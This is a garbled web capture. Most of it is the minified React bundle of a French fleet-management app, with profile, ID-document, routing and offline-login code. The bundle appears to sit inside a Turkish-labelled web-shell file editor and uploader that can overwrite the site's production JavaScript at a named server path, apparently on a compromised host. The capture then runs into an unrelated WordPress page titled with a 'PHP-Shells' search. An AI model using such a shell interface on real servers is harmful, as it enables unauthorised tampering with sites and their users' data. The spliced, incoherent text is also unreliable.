animate-spin&quot;}),&quot;Upload...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Changer l&#039;avatar&quot;]})}),a.jsx(&quot;input&quot;,{ref:l,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:C})]})]})})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Contacts&quot;}),a.jsx(wn,{children:&quot;Contacts secondaires et d&#039;urgence&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;phone_secondary&quot;,children:&quot;Téléphone secondaire&quot;}),a.jsx(Xe,{id:&quot;phone_secondary&quot;,value:A.profile?.phone_secondary||&quot;&quot;,onChange:T=&gt;y({...A,profile:{...A.profile,phone_secondary:T.target.value}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;whatsapp&quot;,children:&quot;WhatsApp&quot;}),a.jsx(Xe,{id:&quot;whatsapp&quot;,value:A.profile?.whatsapp||&quot;&quot;,onChange:T=&gt;y({...A,profile:{...A.profile,whatsapp:T.target.value}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;emergency_name&quot;,children:&quot;Nom du contact d&#039;urgence&quot;}),a.jsx(Xe,{id:&quot;emergency_name&quot;,value:A.profile?.emergency_name||&quot;&quot;,onChange:T=&gt;y({...A,profile:{...A.profile,emergency_name:T.target.value}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;emergency_phone&quot;,children:&quot;Téléphone du contact d&#039;urgence&quot;}),a.jsx(Xe,{id:&quot;emergency_phone&quot;,value:A.profile?.emergency_phone||&quot;&quot;,onChange:T=&gt;y({...A,profile:{...A.profile,emergency_phone:T.target.value}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;city&quot;,children:&quot;Ville&quot;}),a.jsx(Xe,{id:&quot;city&quot;,value:A.profile?.city||&quot;&quot;,onChange:T=&gt;y({...A,profile:{...A.profile,city:T.target.value}})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;notes&quot;,children:&quot;Notes internes&quot;}),a.jsx(K0,{id:&quot;notes&quot;,value:A.profile?.notes||&quot;&quot;,onChange:T=&gt;y({...A,profile:{...A.profile,notes:T.target.value}}),rows:4})]})]})]}),a.jsx(ge,{onClick:_,disabled:v.isPending,children:v.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Enregistrement...&quot;]}):&quot;Enregistrer les modifications&quot;})]}),a.jsx(dn,{value:&quot;documents&quot;,className:&quot;space-y-4&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Documents d&#039;identité&quot;}),a.jsx(wn,{children:&quot;CNI, passeport, permis de conduire&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;id_type&quot;,children:&quot;Type de pièce&quot;}),a.jsxs(rn,{value:h.documents?.[0]?.id_type||&quot;&quot;,onValueChange:T=&gt;j.mutate({id_type:T}),children:[a.jsx(Xr,{id:&quot;id_type&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un type&quot;})}),a.jsxs(en,{children:[a.jsx(Qt,{value:&quot;cni&quot;,children:&quot;CNI&quot;}),a.jsx(Qt,{value:&quot;passeport&quot;,children:&quot;Passeport&quot;}),a.jsx(Qt,{value:&quot;permis&quot;,children:&quot;Permis de conduire&quot;})]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;id_number&quot;,children:&quot;Numéro de pièce&quot;}),a.jsx(Xe,{id:&quot;id_number&quot;,value:h.documents?.[0]?.id_number||&quot;&quot;,onChange:T=&gt;j.mutate({id_number:T.target.value})})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-3 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Recto&quot;}),h.documents?.[0]?.id_front?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:h.documents[0].id_front,alt:&quot;Recto&quot;,className:&quot;w-full h-32 object-cover rounded border&quot;}),a.jsx(ge,{variant:&quot;destructive&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;j.mutate({id_front:void 0}),children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(ge,{variant:&quot;outline&quot;,className:&quot;w-full h-32&quot;,onClick:()=&gt;c.current?.click(),children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Upload recto&quot;]}),a.jsx(&quot;input&quot;,{ref:c,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:T=&gt;Q(&quot;id_front&quot;,T)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Verso&quot;}),h.documents?.[0]?.id_back?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:h.documents[0].id_back,alt:&quot;Verso&quot;,className:&quot;w-full h-32 object-cover rounded border&quot;}),a.jsx(ge,{variant:&quot;destructive&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;j.mutate({id_back:void 0}),children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(ge,{variant:&quot;outline&quot;,className:&quot;w-full h-32&quot;,onClick:()=&gt;d.current?.click(),children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Upload verso&quot;]}),a.jsx(&quot;input&quot;,{ref:d,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:T=&gt;Q(&quot;id_back&quot;,T)})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Selfie (optionnel)&quot;}),h.documents?.[0]?.selfie?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:h.documents[0].selfie,alt:&quot;Selfie&quot;,className:&quot;w-full h-32 object-cover rounded border&quot;}),a.jsx(ge,{variant:&quot;destructive&quot;,size:&quot;sm&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:()=&gt;j.mutate({selfie:void 0}),children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(ge,{variant:&quot;outline&quot;,className:&quot;w-full h-32&quot;,onClick:()=&gt;u.current?.click(),children:[a.jsx(ja,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Upload selfie&quot;]}),a.jsx(&quot;input&quot;,{ref:u,type:&quot;file&quot;,accept:&quot;image/*&quot;,className:&quot;hidden&quot;,onChange:T=&gt;Q(&quot;selfie&quot;,T)})]})]})]})]})}),a.jsxs(dn,{value:&quot;securite&quot;,className:&quot;space-y-4&quot;,children:[a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Mot de passe&quot;}),a.jsx(wn,{children:&quot;Réinitialiser le mot de passe de l&#039;utilisateur&quot;})]}),a.jsx(Et,{children:a.jsx(ge,{onClick:R,disabled:E.isPending,children:E.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Réinitialisation...&quot;]}):&quot;Réinitialiser le mot de passe&quot;})})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Statut du compte&quot;}),a.jsx(wn,{children:&quot;Activer ou désactiver le compte&quot;})]}),a.jsx(Et,{className:&quot;space-y-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;font-medium&quot;,children:&quot;Statut actuel&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:h.is_active?&quot;Compte actif&quot;:&quot;Compte désactivé&quot;})]}),a.jsx(ge,{variant:h.is_active?&quot;destructive&quot;:&quot;default&quot;,onClick:()=&gt;S.mutate(!h.is_active),disabled:S.isPending,children:S.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;...&quot;]}):h.is_active?&quot;Désactiver&quot;:&quot;Activer&quot;})]})})]})]}),a.jsx(dn,{value:&quot;liens&quot;,className:&quot;space-y-4&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Membre d&#039;équipage&quot;}),a.jsx(wn,{children:&quot;Lien avec un membre d&#039;équipage&quot;})]}),a.jsx(Et,{children:h.crew_member?a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;p&quot;,{className:&quot;font-medium&quot;,children:[h.crew_member.prenom,&quot; &quot;,h.crew_member.nom]}),a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Rôle: &quot;,h.crew_member.role===&quot;chauffeur&quot;?&quot;Chauffeur&quot;:&quot;Apprenti&quot;]}),a.jsxs(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:[&quot;Téléphone: &quot;,h.crew_member.telephone||&quot;N/A&quot;]}),a.jsx(ge,{variant:&quot;outline&quot;,size:&quot;sm&quot;,className:&quot;mt-4&quot;,children:&quot;Voir le membre d&#039;équipage&quot;})]}):a.jsxs(&quot;div&quot;,{className:&quot;text-center py-8 text-muted-foreground&quot;,children:[a.jsx(&quot;p&quot;,{children:&quot;Aucun membre d&#039;équipage lié&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs mt-2&quot;,children:&quot;Le lien se fait lors de la création depuis un membre d&#039;équipage&quot;})]})})]})})]})]}):a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center min-h-screen&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground mb-4&quot;,children:&quot;Utilisateur non trouvé&quot;}),a.jsx(ge,{onClick:()=&gt;n(&quot;/utilisateurs&quot;),children:&quot;Retour à la liste&quot;})]})}function vGe(){const{data:e}=ih(),t=k4(),[r]=Gi(),[n,i]=I.useState(!1),[s,o]=I.useState(!1),l=()=&gt;{t.mutate()};let c;return r===&quot;/&quot;||r.startsWith(&quot;/dashboard&quot;)?c=[[&quot;/api/vehicles&quot;],[&quot;/api/trailers&quot;],[&quot;/api/voyages&quot;],[&quot;/api/trips&quot;],[&quot;/api/crew-members&quot;],[&quot;/api/maintenances&quot;],[&quot;/api/breakdowns&quot;]]:r.startsWith(&quot;/voyages&quot;)?c=[[&quot;/api/voyages&quot;]]:r.startsWith(&quot;/trajets&quot;)?c=[[&quot;/api/trips&quot;]]:r.startsWith(&quot;/maintenances&quot;)?c=[[&quot;/api/maintenances&quot;]]:r.startsWith(&quot;/pannes&quot;)?c=[[&quot;/api/breakdowns&quot;]]:r.startsWith(&quot;/incidents&quot;)?c=[[&quot;/api/incidents&quot;],[&quot;/api/voyages&quot;]]:r.startsWith(&quot;/attelages&quot;)?c=[[&quot;/api/vehicles&quot;],[&quot;/api/trailers&quot;]]:r.startsWith(&quot;/statistiques&quot;)?c=[[&quot;/api/voyages&quot;],[&quot;/api/vehicles&quot;],[&quot;/api/trailers&quot;],[&quot;/api/crew-members&quot;],[&quot;/api/incidents&quot;],[&quot;/api/mission-revenues&quot;],[&quot;/api/mission-expenses&quot;],[&quot;/api/voyage-expenses&quot;]]:r.startsWith(&quot;/parametres&quot;)?c=[[&quot;/api/vehicles&quot;],[&quot;/api/trailers&quot;],[&quot;/api/crew-members&quot;],[&quot;/api/voyage-types&quot;],[&quot;/api/locations&quot;],[&quot;users&quot;],[&quot;/api/users&quot;]]:c=void 0,a.jsxs(&quot;header&quot;,{className:&quot;flex items-center justify-between gap-4 p-3 md:p-4 border-b&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;hidden md:block&quot;,children:a.jsx(Tue,{&quot;data-testid&quot;:&quot;button-sidebar-toggle&quot;})}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 flex-1 justify-center md:hidden&quot;,children:[a.jsx(&quot;img&quot;,{src:&quot;/logo-parc-app.png&quot;,alt:&quot;Parc&#039;App Logo&quot;,className:&quot;h-8 w-8 object-contain&quot;}),a.jsx(&quot;h1&quot;,{className:&quot;text-base font-semibold&quot;,children:&quot;Parc&#039;App&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsxs(En,{open:n,onOpenChange:i,children:[a.jsx(ah,{asChild:!0,children:a.jsx(ge,{variant:&quot;ghost&quot;,size:&quot;icon&quot;,className:&quot;h-9 w-9&quot;,children:a.jsx(Gl,{className:&quot;h-4 w-4&quot;})})}),a.jsxs(yn,{className:&quot;max-w-4xl max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Aide &amp; Documentation&quot;}),a.jsx(Mn,{children:&quot;Guide d&#039;utilisation de Parc&#039;App - Gestion de flotte&quot;})]}),a.jsx(dY,{})]})]}),a.jsx(Hpe,{}),a.jsx($pe,{queriesToInvalidate:c}),e&amp;&amp;a.jsxs(ez,{children:[a.jsx(tz,{asChild:!0,children:a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;gap-2&quot;,children:[a.jsx(nh,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:e.username})]})}),a.jsxs(jS,{align:&quot;end&quot;,children:[a.jsx(NS,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col space-y-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-medium&quot;,children:e.username}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:e.role})]})}),a.jsx(xv,{}),a.jsxs(Av,{onClick:()=&gt;o(!0),children:[a.jsx(Hd,{className:&quot;mr-2 h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Configurer PIN offline&quot;})]}),a.jsx(xv,{}),a.jsxs(Av,{onClick:l,disabled:t.isPending,children:[a.jsx(m4,{className:&quot;mr-2 h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:t.isPending?&quot;Déconnexion...&quot;:&quot;Se déconnecter&quot;})]})]})]}),a.jsx(Jue,{})]}),e&amp;&amp;a.jsx(oz,{open:s,onOpenChange:o,user:e,onSuccess:()=&gt;{}})]})}function Gb({path:e}){const[,t]=Gi();return I.useEffect(()=&gt;{t(e,{replace:!0})},[e,t]),null}function yGe(){const[,e]=mg(&quot;/utilisateurs/:id&quot;),[,t]=Gi();return I.useEffect(()=&gt;{e?.id&amp;&amp;t(`/parametres/utilisateurs/${e.id}`,{replace:!0})},[e?.id,t]),null}function bGe(){const{data:e,isLoading:t}=ih(),[r,n]=Gi();return I.useEffect(()=&gt;{if(!t){if(e&amp;&amp;r===&quot;/login&quot;){n(&quot;/&quot;);return}if(!e&amp;&amp;r!==&quot;/login&quot;){n(&quot;/login&quot;);return}}},[e,t,r,n]),t?a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center min-h-screen&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Chargement...&quot;})]})}):e?a.jsxs(Yie,{children:[a.jsx(ta,{path:&quot;/&quot;,component:qPe}),a.jsx(ta,{path:&quot;/attelages&quot;,component:U$e}),a.jsx(ta,{path:&quot;/voyages&quot;,component:H$e}),a.jsx(ta,{path:&quot;/voyages/new&quot;,component:aHe}),a.jsx(ta,{path:&quot;/voyages/:id/edit&quot;,component:sHe}),a.jsx(ta,{path:&quot;/voyages/:id/ordre-de-mission&quot;,component:ZHe}),a.jsx(ta,{path:&quot;/voyages/:id&quot;,component:YHe}),a.jsx(ta,{path:&quot;/trajets/new&quot;,component:u$e}),a.jsx(ta,{path:&quot;/trajets/:id&quot;,component:lqe}),a.jsx(ta,{path:&quot;/trajets&quot;,component:e$e}),a.jsx(ta,{path:&quot;/maintenances&quot;,component:S$e}),a.jsx(ta,{path:&quot;/pannes&quot;,component:R$e}),a.jsx(ta,{path:&quot;/incidents&quot;,component:fqe}),a.jsx(ta,{path:&quot;/statistiques&quot;,children:a.jsx(lO,{})}),a.jsx(ta,{path:&quot;/statistiques/:tab&quot;,children:a.jsx(lO,{})}),a.jsx(ta,{path:&quot;/parametres&quot;,children:a.jsx(qb,{})}),a.jsx(ta,{path:&quot;/parametres/:tab&quot;,children:a.jsx(qb,{})}),a.jsx(ta,{path:&quot;/parametres/referentiels/:tab&quot;,children:a.jsx(qb,{})}),a.jsx(ta,{path:&quot;/parametres/integrations/:tab&quot;,children:a.jsx(qb,{})}),a.jsx(ta,{path:&quot;/parametres/utilisateurs/:id&quot;,children:a.jsx(xGe,{})}),a.jsx(ta,{path:&quot;/aide&quot;,component:dY}),a.jsx(ta,{path:&quot;/vehicules&quot;,children:a.jsx(Gb,{path:&quot;/parametres/referentiels/equipements&quot;})}),a.jsx(ta,{path:&quot;/remorques&quot;,children:a.jsx(Gb,{path:&quot;/parametres/referentiels/equipements&quot;})}),a.jsx(ta,{path:&quot;/equipage&quot;,children:a.jsx(Gb,{path:&quot;/parametres/referentiels/equipage&quot;})}),a.jsx(ta,{path:&quot;/utilisateurs&quot;,children:a.jsx(Gb,{path:&quot;/parametres/utilisateurs&quot;})}),a.jsx(ta,{path:&quot;/utilisateurs/:id&quot;,children:a.jsx(yGe,{})}),a.jsx(ta,{path:&quot;/login&quot;,component:E6}),a.jsx(ta,{component:dqe})]}):a.jsx(E6,{})}function uO({children:e}){const[t,r]=Gi(),{data:n,isLoading:i}=ih(),{isOnline:s,isOffline:o,hasOfflineProfile:l,offlineUnlocked:c,authMode:d}=dy(),[u,h]=I.useState(0),[p,A]=I.useState(!1);if(I.useEffect(()=&gt;{const v=()=&gt;{console.log(&quot;[RouteGuard] ⚡ ÉVÉNEMENT unlock détecté, marquer justUnlocked=true et forcer re-rendu IMMÉDIAT&quot;),A(!0),console.log(&quot;[RouteGuard] justUnlocked mis à true, forcer re-rendu immédiat&quot;),h(w=&gt;{const j=w+1;return console.log(&quot;[RouteGuard] setForceRender(&quot;,j,&quot;) appelé immédiatement&quot;),j}),setTimeout(()=&gt;{console.log(&quot;[RouteGuard] Réinitialisation justUnlocked après délai&quot;),A(!1)},1e4)};return window.addEventListener(&quot;offline-unlock&quot;,v),()=&gt;window.removeEventListener(&quot;offline-unlock&quot;,v)},[]),console.log(&quot;[RouteGuard] ===== RENDU RouteGuard =====&quot;),console.log(&quot;[RouteGuard] Props:&quot;,{location:t,authMode:d,isOffline:o,offlineUnlocked:c,hasUser:!!n,forceRender:u,justUnlocked:p}),console.log(&quot;[RouteGuard] Stack trace:&quot;,new Error().stack?.split(`
`).slice(1,4).join(`
`)),I.useEffect(()=&gt;{console.log(&quot;[RouteGuard] ===== useEffect authMode changé =====&quot;),console.log(&quot;[RouteGuard] Nouveaux valeurs:&quot;,{authMode:d,offlineUnlocked:c,isOffline:o}),d===&quot;offline-unlocked&quot;||c&amp;&amp;o?(console.log(&quot;[RouteGuard] ⚡ FORCER RE-RENDU: authMode=&quot;,d,&quot;offlineUnlocked=&quot;,c),console.log(&quot;[RouteGuard] Appel setForceRender...&quot;),h(v=&gt;{const w=v+1;return console.log(&quot;[RouteGuard] setForceRender(&quot;,w,&quot;) appelé, React devrait déclencher un re-rendu&quot;),w})):console.log(&quot;[RouteGuard] Pas de re-rendu forcé nécessaire&quot;)},[d,c,o]),I.useEffect(()=&gt;{console.log(&quot;[RouteGuard] ===== useEffect offlineUnlocked changé =====&quot;),console.log(&quot;[RouteGuard] offlineUnlocked:&quot;,c,&quot;isOffline:&quot;,o,&quot;hasOfflineProfile:&quot;,l),c===!0&amp;&amp;o===!0&amp;&amp;l===!0?(console.log(&quot;[RouteGuard] ⚡ offlineUnlocked est maintenant TRUE, forcer re-rendu immédiat&quot;),h(v=&gt;{const w=v+1;return console.log(&quot;[RouteGuard] setForceRender(&quot;,w,&quot;) depuis useEffect offlineUnlocked&quot;),w})):console.log(&quot;[RouteGuard] offlineUnlocked n&#039;est pas true ou conditions non remplies&quot;)},[c,o,l]),I.useEffect(()=&gt;{if(d===&quot;offline-unlocked&quot;&amp;&amp;!t.startsWith(&quot;/driver&quot;)){console.log(&quot;[RouteGuard] Redirection vers /driver en cours...&quot;);const v=setTimeout(()=&gt;{r(&quot;/driver&quot;)},0);return()=&gt;clearTimeout(v)}},[d,t,r]),i&amp;&amp;s)return a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center min-h-screen&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Chargement...&quot;})]})});if(console.log(&quot;[RouteGuard] Vérification offline:&quot;,{isOffline:o,authMode:d,hasOfflineProfile:l,offlineUnlocked:c}),o){if(console.log(&quot;[RouteGuard] Mode offline détecté, authMode:&quot;,d),d===&quot;needs-online-login&quot;&amp;&amp;!l)return console.log(&quot;[RouteGuard] Affichage OfflineLoginRequiredScreen&quot;),a.jsx(k$e,{});const v=c===!0&amp;&amp;l===!0&amp;&amp;o===!0||d===&quot;offline-unlocked&quot;||p&amp;&amp;o&amp;&amp;l;return console.log(&quot;[RouteGuard] ===== VÉRIFICATION offline-unlocked =====&quot;),console.log(&quot;[RouteGuard] Condition:&quot;,{&quot;offlineUnlocked === true&quot;:c===!0,&quot;hasOfflineProfile === true&quot;:l===!0,&quot;isOffline === true&quot;:o===!0,&quot;offlineUnlocked &amp;&amp; hasOfflineProfile &amp;&amp; isOffline&quot;:c&amp;&amp;l&amp;&amp;o,&quot;authMode === &#039;offline-unlocked&#039;&quot;:d===&quot;offline-unlocked&quot;,justUnlocked:p,&quot;justUnlocked &amp;&amp; isOffline &amp;&amp; hasOfflineProfile&quot;:p&amp;&amp;o&amp;&amp;l,isOfflineUnlocked:v}),v?(console.log(&quot;[RouteGuard] ✅ MODE OFFLINE-UNLOCKED DÉTECTÉ!&quot;),console.log(&quot;[RouteGuard] location:&quot;,t,&quot;offlineUnlocked:&quot;,c,&quot;authMode:&quot;,d,&quot;justUnlocked:&quot;,p),t.startsWith(&quot;/driver&quot;)?(console.log(&quot;[RouteGuard] ✅✅✅ RENDU DES CHILDREN (DriverLayout devrait apparaître) ✅✅✅&quot;),a.jsx(a.Fragment,{children:e})):(console.log(&quot;[RouteGuard] Redirection vers /driver (loader)&quot;),a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center min-h-screen&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;animate-spin rounded-full h-8 w-8 border-b-2 border-primary mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Redirection vers l&#039;espace Chauffeur...&quot;})]})}))):d===&quot;offline-locked&quot;?(console.log(&quot;[RouteGuard] Affichage OfflineUnlockScreen (offline-locked)&quot;),a.jsx(B$e,{})):(console.warn(&quot;[RouteGuard] Mode offline mais authMode inattendu:&quot;,d),a.jsx(&quot;div&quot;,{className:&quot;flex items-center justify-center min-h-screen&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;text-center&quot;,children:[a.jsx(Kn,{className:&quot;h-8 w-8 text-destructive mx-auto mb-4&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;État d&#039;authentification inattendu. Veuillez recharger la page.&quot;})]})}))}if(!n&amp;&amp;s)return a.jsx(a.Fragment,{children:e});if(!n)return a.jsx(a.Fragment,{children:e});const y=n.role;return t.startsWith(&quot;/driver&quot;)?MM(y)?a.jsx(a.Fragment,{children:e}):a.jsx(Q3,{message:&quot;Vous n&#039;avez pas accès à l&#039;espace Chauffeur.&quot;,actionLabel:&quot;Retour au tableau de bord&quot;,actionPath:&quot;/&quot;,showBackButton:!1}):_4(y)?a.jsx(Q3,{message:&quot;Votre rôle vous limite à l&#039;espace Chauffeur uniquement.&quot;,actionLabel:&quot;Aller à l&#039;espace Chauffeur&quot;,actionPath:&quot;/driver&quot;,showBackButton:!1}):hS(y,t)?a.jsx(a.Fragment,{children:e}):a.jsx(Q3,{message:&quot;Vous n&#039;avez pas les permissions nécessaires pour accéder à cette page.&quot;,actionLabel:&quot;Retour au tableau de bord&quot;,actionPath:&quot;/&quot;,showBackButton:!1})}function wGe(){const[e]=Gi(),{data:t}=ih(),r=e.startsWith(&quot;/driver&quot;),n=e===&quot;/login&quot;&amp;&amp;!t,i={&quot;--sidebar-width&quot;:&quot;16rem&quot;};return console.log(&quot;[App] Composant App rendu, location:&quot;,e,&quot;isDriverMode:&quot;,r,&quot;user:&quot;,t),n?a.jsx(vm,{children:a.jsx(E6,{})}):r?(console.log(&quot;[App] Mode driver détecté, rendu DriverPwaLayout&quot;),a.jsx(vm,{children:a.jsx(uO,{children:a.jsx(zpe,{})})})):a.jsxs(vm,{children:[a.jsx(uO,{children:a.jsxs(_ue,{style:i,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex h-screen w-full&quot;,children:[a.jsx(Zue,{}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col flex-1 overflow-hidden&quot;,children:[a.jsx(vGe,{}),a.jsx(&quot;main&quot;,{className:&quot;flex-1 overflow-auto p-4 md:p-8&quot;,children:a.jsx(&quot;div&quot;,{className:&quot;max-w-7xl mx-auto&quot;,children:a.jsx(bGe,{})})})]})]}),a.jsx(t0e,{})]})}),a.jsx(NL,{})]})}const EGe=window.fetch.bind(window);window.fetch=async(e,t)=&gt;{const r=typeof e==&quot;string&quot;?e:e instanceof URL?e.toString():e.url;if(r.startsWith(&quot;/api/&quot;))throw console.error(&quot;❌ RELATIVE API CALL DETECTED:&quot;,r),console.trace(&quot;STACK TRACE for relative API call&quot;),new Error(`Relative API call blocked: ${r}`);return EGe(e,t)};const CGe=XMLHttpRequest.prototype.open;XMLHttpRequest.prototype.open=function(e,t,r,n,i){const s=typeof t==&quot;string&quot;?t:t.toString();return(s.startsWith(&quot;/api/&quot;)||s.startsWith(&quot;api/&quot;))&amp;&amp;(console.error(&quot;❌ RELATIVE API CALL (XHR) DETECTED:&quot;,e,s),console.trace(&quot;STACK TRACE for XHR relative API call&quot;)),CGe.call(this,e,t,r,n,i)};console.log(&quot;[main.tsx] Script chargé, initialisation de l&#039;application...&quot;);const Cne=document.getElementById(&quot;root&quot;);if(!Cne)throw console.error(&quot;[main.tsx] ERREUR: Élément #root introuvable!&quot;),new Error(&quot;Élément #root introuvable dans le DOM&quot;);Zne.createRoot(Cne).render(a.jsx(Eie,{client:jt,children:a.jsx(wGe,{})}));console.log(&quot;[main.tsx] Application React rendue&quot;);console.log(&quot;VITE_API_BASE_URL =&quot;,&quot;https://apiparcapp.jrbxsolutions.com&quot;);console.log(&quot;MODE =&quot;,&quot;production&quot;);export{$t as a};
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/parcapp/frontend/assets/index-ylkQAdB0.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="http://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>Rechercher des résultats pour &quot;label/PHP-Shells&quot; | HAGGAI BURKINA FASO</title>
<meta name='robots' content='noindex, follow, max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//haggai-bf.org' />
